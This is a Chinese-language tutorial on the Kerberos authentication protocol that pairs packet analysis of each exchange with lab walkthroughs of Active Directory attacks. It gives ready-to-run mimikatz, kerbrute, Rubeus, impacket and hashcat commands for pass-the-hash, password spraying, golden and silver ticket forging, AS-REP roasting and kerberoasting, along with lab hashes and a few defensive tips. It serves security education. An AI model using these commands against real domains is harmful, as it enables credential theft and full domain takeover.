kerberos協議從0到1
概念
krbtgt用戶,是系統在創建域時自動生成的一個帳號,其作用是密鑰分發中心的服務賬號,其密碼是系統隨機生成的,無法登錄主機
windows密碼hash圖解如下

AS-REQ
AS-REQ:當域內某個用戶試圖訪問域中的某個服務,輸入用戶名和密碼,本機的kerberos服務向KDC的AS認證服務發送一個AS-REQ認證請求,請求中包含:請求的用戶名、客戶端主機名、加密類型和Authenticator(用戶NTML Hash加密的時間戳)以及其他的一些信息
wireshark抓包分析

req-body詳細請求包
pvno:kerberos版本號,這里為5 msg-type:消息類型,AS_REQ對應的是krb-as-req(10) padata:主要是一些認證信息,每個認證消息有type和value PADA PA-ENC-TIMESTAMP:預認證,用用戶hash加密時間戳,作為value發送給AS服務器,AS服務器擁有用戶hash,使用用戶hash進行解密,獲得時間戳,如果能解密,且時間戳在一定的范圍內,則證明認證通過。由于用戶密碼是hash加密,所以能夠利用hash傳遞 padata-type:padata類型,這里是KRB5-PADATA-ENC-TIMESTAMP(2) padata-value:padata的值 etype:padata類型,這里是eTYPE-AES256-CTS-HMAC-SHA1-96(18) cipher:密鑰 PADA PA-PAC-REQUEST:啟用PAC支持的擴展。PAC并不在原生的kerberos里面,是微軟引進的拓展。PAC包含在相應包AS_REP中,這里的value對應的值為True或False,KDC根據include的值來確定返回的票據中是否需要攜帶PAC padata-type:padata類型,這是eTYPE-AES256-CTS-HMAC-SHA1-96(18) padata-value:padata的值 include-PAC:是否包含PAC,這里為Truereq-body:請求body padding:填充,這里為0 kdc-options:用于與KDC預定一些選項設置 cname:客戶端用戶名,這個用戶名存在和不存在,返回的包有差異,可以用于枚舉域內用戶名,PrincipalName類型,包含type和Value name-type:名字類型,這里是KRB5-NT-PRINCIPAL(1) cname-string:名字,也就是請求的用戶名 CNameString:請求的用戶名,這里為mars2 realm:域名,這里為DRUNKMARS0 sname:服務端用戶名,PrincipalName類型,包含type和value,在AS-REQ里面snames為krbtgt SNameString:這里是用戶名 krbtgt SNameString:這里是域名 DRUNKMARS0 till:到期時間,rubeus和kekeo都是20370913024805Z,這個可以作為特征來檢測工具 rtime:到期時間 nonce:隨機生成的一個數,kekeo/mimikatz nonce是12381973,rubeus nonce是1818848256,這個也可以用來作為特征檢測工具 etype:加密類型,這里有6個items address:客戶端的請求地址,也就是客戶端的主機名 HostAddress MESSI-PC<20> ddr-type:地址類型,這里是nETBIOS(20) NetBIOS Name:MESSI-PC<20> (Server service) net config workstation 查看域內信息
AS-REQ過程中的攻擊方式
hash傳遞
msf進行hash傳遞
只適用于域環境,并且目標主機需要安裝 KB2871997補丁
mimikatz進行hash傳遞
這里mimikatz獲取到hash之后不能復制粘貼,這時可以將獲取到的hash導出到log日志中,命令如下
mimikatz log privilege::debug sekurlsa::ekeys
抓取sid為500的administrator的ntlm哈希
privilege::debug sekurlsa::logonpasswords
執行命令
sekurlsa::pth /user:administrator /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c
KB2871997


安裝KB2871997這個補丁之后,只能用sid為500的管理員賬戶進行pass hash
PTK(pass the key)
獲取aes-key:
privilege::debug sekurlsa::ekeys
注入aes-key:
sekurlsa::pth /user:Administrator /domain:Drunkmars.com /aes256:cf5dba161f3a3dc89454742ff5db89980d6b07e771048b30006546e81d1d79e2
域內用戶枚舉
使用kerbrute工具:
https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe
前提需要DC需要開啟kerberos 88端口

準備用戶名保存為txt
使用以下命令
kerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt
使用kerbrute進行錯誤枚舉的原理就是kerberos有三種錯誤代碼:
KDC_ERR_PREAUTH_REQUIRED-需要額外的預認證(啟用)
KDC_ERR_CLIENT_REVOKED-客戶端憑證已被吊銷(禁用)
KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos數據庫中找不到客戶端(不存在)
在DC抓包可以看到有4個UNKNOWN,1個REQUIRED,證明有這個用戶名存在

密碼噴灑
當用戶名存在,密碼正確和錯誤返回的包是不相同的,所以知道用戶名的情況下可以用一個相同的密碼去爆破用戶,這種針對所有用戶的自動密碼猜測是為了防止賬戶被鎖定,因為針對同一個用戶連續密碼猜測很容易導致賬戶被鎖。所以只有對所有用戶同時執行特定的密碼進行嘗試,才能增加破解的概率,消除帳號被鎖定的可能
使用以下命令
kerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519..

密碼同樣存在三種錯誤代碼
KDC_ERR_PREAUTH_REQUIRED-需要額外的預認證(啟用)
KDC_ERR_CLIENT_REVOKED-客戶端憑證已被吊銷(禁用)
KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos數據庫中找不到客戶端(不存在)
同樣在DC抓包,有4個UNKNOWN,1個REQUIRED

AS-REP
AS-REP:當KDC接受到請求之后,通過AD活動目錄查詢得到該用戶的密碼hash,用該密碼hash對請求包的Authenticator進行解密,如果解密成功,則證明請求者提供的密碼正確,而且需要時間戳范圍在五分鐘內,且不是重放,則域認證成功。KAS成功認證對方的身份之后,發送相應包給客戶端,響應包中主要包括krbtgt用戶的NTLM hash加密后的TGT認購權證(即ticket這部分)和用戶NTLM hash加密的Login Session key(即最外層enc-part這部分)以及一些其他信息。該Login Session key的作用是用于確保客戶端和KDC下階段之間通信安全。最后TGT認購權證,加密的Login Session Key、時間戳和PAC等信息會發送給客戶端。PAC中包含用戶的SID,用戶所在的組等一些信息。

在enc-part里面最重要的字段就是Login session key,作為下階段的認證密鑰
AS-REP中最核心的東西就是Login session-key 和加密的 ticket。正常我們用工具生成的憑據是.ccache和.kirbi后綴的,用mimikatz,kekeo,rebeus生成的憑據是.kirbi后綴的,impacket生成的憑據是.ccache,兩種票據主要包含的都是Login session-key 和加密的 ticket,因此可以相互轉換
AS-REP中的攻擊方式
黃金票據
使用mimikatz
先獲取krbtgt hash
DC執行
mimikatz.exe "lsadump::dcsync /domain:Drunkmars.com /user:
獲得如下信息
sid:S-1-5-21-652679085-3170934373-4288938398-502 ntlm hash:c1833c0783cfd81d3548dd89b017c99a aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50
偽造administrator執行(aes256)生成gold.kirbi
mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50 /user:administrator /ticket:gold.kirbi"
偽造administrator執行(krbtgt hash)生成gold.kirbi
mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /user:administrator /ticket:gold.kirbi"
導入golden.kirbi,執行命令
kerberos::ptt C:\\Users\\mars2\\Desktop\\gold.kirbi
查看本地緩存,發現憑據成功導入
kerberos::list
打開新的cmd,用klist查看憑證
dir連接過去,注意這里必須要主機名,不能夠用IP連接
這里有一個坑,必須要管理員權限開cmd,不然也會顯示拒絕訪問
看下權限,處于Domain Users組
查看所有組
net group /do
查看Domain Controllers組,這里我在域用戶機器上可以查看是因為我導入了金票,實際上這個命令只能在DC上才能查看
net group "Domain Controllers" /do
刪除憑據
kerberos::purge

使用impacket
使用kali,不在域內需要把dns改向域控
先生成票據administrator.ccache
python3 ticketer.py -domain-sid S-1-5-21-652679085-3170934373-4288938398-502 -nthash c1833c0783cfd81d3548dd89b017c99a -domain Drunkmars.com administrator
導入票據
export KRB5CCNAME=administrator.ccache
然后訪問域控
python3 smbexec.py -no-pass -k WIN-M836NN6NU8B.Drunkmars.com
AS-REP Roasting
在AS-REP階段,最外層的enc-part是用戶密碼hash加密的。對于域用戶,如果設置了"Do not require Kerberos preauthentication",此時向域控的88端口發送AS-REP內容(enc-part底下的ciper,因為這部分是使用用戶hash加密的Login Session Key,通過離線爆破就可以獲得用戶hash)重新組合,能夠拼接成"Kerberos 5 AS-REP etype 23"(18200)的格式,接下來可以通過hashcat對其破解,最終獲得明文密碼,這就構成了AS-REP Roasting攻擊
默認這個功能是不啟用的,如果啟用AS-REP會返回用戶hash加密的sessionkey-as,這樣我們就能夠用john離線破解
使用Empire下的powerview.ps1查找域中設置了"不需要kerberos預認證"的用戶
Import-Module .\powerview.ps1 Get-DomainUser -PreauthNotRequired
使用ASREPRoast.ps1獲取AS-REP返回的hash
Import-Module .\ASREPRoast.ps1 Get-ASREPHash -Username mars2 -Domain Drunkmars.com | Out-File Encoding ASCII hash.txt
修改為hashcat能識別的格式,在$krb5asrep后面添加$23拼接
hashcat -m 18200 hash.txt pass.txt --force
TGS-REQ
經過上面的步驟,客戶端獲得了 TGT認購權證 和 Login Session Key。然后用自己的密碼NTLM Hash解密Login Session Key得到 原始的LogonSession Key。然后它會在本地緩存此 TGT認購權證 和 原始的Login Session Key。如果現在它需要訪問某臺服務器的某個服務,它就需要憑借這張TGT認購憑證向KDC購買相應的入場券ST服務票據(Service Ticket)。ST服務票據是通過KDC的另一個服務 TGS(Ticket Granting Service)出售的。在這個階段,微軟引入了兩個擴展自協議 S4u2self 和 S4u2Proxy(當委派的時候,才用的到)
TGS-REQ:客戶端向KDC購買針對指定服務的ST服務票據請求,該請求主要包含如下的內容:客戶端信息、Authenticator(Login Session Key加密的時間戳)、TGT認購權證(padata下ap-req下的ticket) 和 訪問的服務名以及一些其他信息

TGS-REP
TGS-REP:TGS接收到請求之后,首先會檢查自身是否存在客戶端所請求的服務。如果服務存在,則通過 krbtgt 用戶的NTLM Hash 解密TGT并得到Login Session Key,然后通過Login Session Key解密Authenticator,如果解密成功,則驗證了對方的真實身份,同時還會驗證時間戳是否在范圍內。并且還會檢查TGT中的時間戳是否過期,且原始地址是否和TGT中保存的地址相同。
在完成上述的檢測后,如果驗證通過,則TGS完成了對客戶端的認證,會生成一個用Logon Session Key加密后的用于確保客戶端-服務器之間通信安全的Service Session Key會話秘鑰(也就是最外層enc-part部分)。并且會為該客戶端生成ST服務票據。ST服務票據主要包含兩方面的內容:客戶端用戶信息 和 原始Service Session Key,整個ST服務票據用該服務的NTLM Hash進行加密。
最終Service Session Key 和 ST服務票據發送給客戶端。(這一步不管用戶有沒有訪問服務的權限,只要TGT正確,就都會返回ST服務票據,這也是kerberoasting能利用的原因,任何一個用戶,只要hash正確,就可以請求域內任何一個服務的ST票據)
enc-part:這部分是用請求服務的密碼Hash加密的。因此如果我們擁有服務的密碼Hash,那么我們就可以自己制作一個ST服務票據,這就造成了白銀票據攻擊。也正因為該票據是用請求服務的密碼Hash加密的,所以當我們得到了ST服務票據,可以嘗試爆破enc_part,來得到服務的密碼Hash。這也就造成了kerberoast攻擊。
TGS-REP過程中的攻擊方式
何為SPN
SPN(ServicePrincipal Names)服務主體名稱,是服務實例(比如:HTTP、SMB、MySQL等服務)的唯一標識符。
Kerberos認證過程使用SPN將服務實例與服務登錄賬戶相關聯,如果想使用 Kerberos 協議來認證服務,那么必須正確配置SPN。如果在整個林或域中的計算機上安裝多個服務實例,則每個實例都必須具有自己的SPN。如果客戶端可能使用多個名稱進行身份驗證,則給定服務實例可以具有多個SPN。SPN始終包含運行服務實例的主機的名稱,因此服務實例可以為其主機的每個名稱或別名注冊SPN。一個用戶賬戶下可以有多個SPN,但一個SPN只能注冊到一個賬戶。在內網中,SPN掃描通過查詢向域控服務器執行服務發現。這對于紅隊而言,可以幫助他們識別正在運行重要服務的主機,如終端,交換機等。SPN的識別是kerberoasting攻擊的第一步。
下面通過一個例子來說明SPN的作用:
當某用戶需要訪問MySQL服務時,系統會以當前用戶的身份向域控查詢SPN為MySQL的記錄。當找到該SPN記錄后,用戶會再次與KDC通信,將KDC發放的TGT作為身份憑據發送給KDC,并將需要訪問的SPN發送給KDC。KDC中的TGS服務對TGT進行解密。確認無誤后,由TGS將一張允許訪問該SPN所對應的服務的ST服務票據和該SPN所對應的服務的地址發送給用戶,用戶使用該票據即可訪問
MySQL服務。
SPN分為兩種類型:
1.是注冊在活動目錄的機器帳戶(Computers)下,當一個服務的權限為 Local System 或 Network Service,則SPN注冊在機器帳戶(Computers)下。域中的每個機器都會有注冊兩個SPN:HOST/主機名和 HOST/主機名.Drunkmars.com
2.是注冊在活動目錄的域用戶帳戶(Users)下,當一個服務的權限為一個域用戶,則SPN注冊在域用戶帳戶(Users)下
查看當前域內所有的SPN:
setspn -Q \* \*
查看指定域Drunkmars.com注冊的SPN:
setspn -T Drunkmars.com -Q \* \*
如果指定域不存在,則默認切換到查找本域的SPN
查找本域內重復的SPN:
setspn -X
刪除指定SPN:
setspn -D MySQL/win7.Drunkmars.com:1433/MSSQL hack
查找指定用戶/主機名注冊的SPN:
setspn -L username/hostname
Kerberoast攻擊
Kerberoast攻擊過程:
1.攻擊者對一個域進行身份驗證,然后從域控制器獲得一個TGT認購權證,該TGT認購權證用于以后的ST服務票據請求
2.攻擊者使用他們的 TGT認購權證 發出ST服務票據請求(TGS-REQ) 獲取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中應該是唯一的,并且在用戶或計算機帳戶的servicePrincipalName 字段中注冊。在服務票證請求(TGS-REQ)過程中,攻擊者可以指定它們支持的Kerberos加密類型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。
3.如果攻擊者的 TGT 是有效的,則 DC 將從TGT認購權證中提取信息并填充到ST服務票據中。然后,域控制器查找哪個帳戶在ServicedPrincipalName 字段中注冊了所請求的 SPN。ST服務票據使用注冊了所要求的 SPN 的帳戶的NTLM哈希進行加密,并使用攻擊者和服務帳戶共同商定的加密算法。ST服務票據以服務票據回復(TGS-REP)的形式發送回攻擊者。
4.攻擊者從 TGS-REP 中提取加密的服務票證。由于服務票證是用鏈接到請求 SPN 的帳戶的哈希加密的,所以攻擊者可以離線破解這個加密塊,恢復帳戶的明文密碼。
首先是請求服務票據
1.Rubeus.exe請求
Rubeus里面的kerberoast支持對所有用戶或者特定用戶執行kerberoasting操作,其原理在于先用LDAP查詢于內的spn,再通過發送TGS包,然后直接打印出能使用hashcat 或 john 爆破的Hash。以下的命令會打印出注冊于用戶下的所有SPN的服務票據的hashcat格式
Rubeus.exe kerberoast
2.powershell請求
#請求服務票據 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433" #列出服務票據 klist
3.mimikatz請求
請求服務票據
kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433
列出服務票據
kerberos::list
清除所有票據
kerberos::purge
4.Impacket中的GetUserSPNS.py請求
該腳本可以請求注冊于用戶下的所有SPN的服務票據。使用該腳本需要提供域賬號密碼才能查詢。該腳本直接輸出hashcat格式的服務票據,可用hashcat直接爆破。
python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org/jack
導出票據
首先是查看klist或mimikatz.exe "kerberos::list"
MSF里面
load kiwi kerberos_ticket_list
或
load kiwi kiwi_cmd kerberos::list
1.mimikatz導出
mimikatz.exe "kerberos::list /export" "exit"
執行完后,會在mimikatz同目錄下導出 后綴為kirbi的票據文件
2.Empire下的Invoke-Kerberoast.ps1
Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat
離線破解服務票據
1.kerberoast中的tgsrepcrack.py
python2 tgsrepcrack.py password.txt xx.kirbi

2.hashcat
將導出的hashcat格式的哈希保存為hash.txt文件,放到hashcat的目錄下
hashcat -m 13100 hash.txt pass.txt
Kerberoast攻擊防范
確保服務賬號密碼為強密碼(長度、隨機性、定期修改)
如果攻擊者無法將默認的AES256_HMAC加密方式改為RC4_HMAC_MD5,就無法實驗tgsrepcrack.py來破解密碼。
攻擊者可以通過嗅探的方法抓取Kerberos TGS票據。因此,如果強制實驗AES256_HMAC方式對Kerberos票據進行加密,那么,即使攻擊者獲取了Kerberos票據,也無法將其破解,從而保證了活動目錄的安全性。
許多服務賬戶在內網中被分配了過高的權限,且密碼強度較差。攻擊者很可能通過破解票據的密碼,從域用戶權限提升到域管理員權限。因此,應該對服務賬戶的權限進行適當的配置,并提高密碼的強度。
在進行日志審計時,可以重點關注ID為4679(請求Kerberos服務票據)的時間。如果有過多的 4769 日志,應進一步檢查系統中是否存在惡意行為。
白銀票據
在TGS-REP階段,TGS_REP里面的ticket的enc-part是使用服務的hash進行加密的,如果我們擁有服務的hash,就可以給我們自己簽發任意用戶的TGS票據,這個票據也被稱為白銀票據。相較于黃金票據,白銀票據使用要訪問服務的hash,而不是krbtgt的hash,由于生成的是TGS票據,不需要跟域控打交道,但是白銀票票據只能訪問特定服務。但是要注意的一點是,偽造的白銀票據沒有帶有有效KDC簽名的PAC。如果將目標主機配置為驗證KDCPAC簽名,則銀票將不起作用
要創建白銀票據,我們需要知道以下信息:
- 要偽造的域用戶(這里我們一般填寫域管理員賬戶)
- 域名
- 域的SID值(就是域成員SID值去掉最后的)
- 目標服務的FQDN
- 可利用的服務
- 服務賬號的NTLM哈希
這里使用白銀票據偽造CIFS服務,該通常用于Windows主機之間的文件共享。
1.mimikatz獲得服務賬號的ntlm hash
privilege::Debug sekurlsa::logonpasswords
得到ntlm為7c64e7ebf46b9515c56b2dd522d21c1c
2.使用白銀票據攻擊
kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt

3.查看票據

4.訪問域控
防御:
偽造的白銀票據沒有帶有有效KDC簽名的PAC。如果將目標主機配置為驗證KDCPAC簽名,則銀票將不起作用。
黃金票據和白銀票據的不同點
訪問權限不同:
黃金票據Golden Ticket:偽造TGT認購權證,可以獲取任何Kerberos服務權限
白銀票據Silver Ticket:偽造ST服務票據,只能訪問指定的服務
加密方式不同:
Golden Ticket由krbtgt的Hash加密
Silver Ticket由服務賬號(通常為計算機賬戶)Hash加密
認證流程不同:
Golden Ticket的利用過程需要訪問域控,而Silver Ticket不需要
推薦實操:Kerberos網絡認證協議搭建與分析
PC端體驗地址:http://mrw.so/65TSBw
Kerberos協議最初是麻省理工學院(MIT)為其Athena項目開發的。本實驗主要介紹了windows server2003系統的域和DNS服務器的搭建,通過本實驗的學習學會kerberos網絡認證協議搭建方式。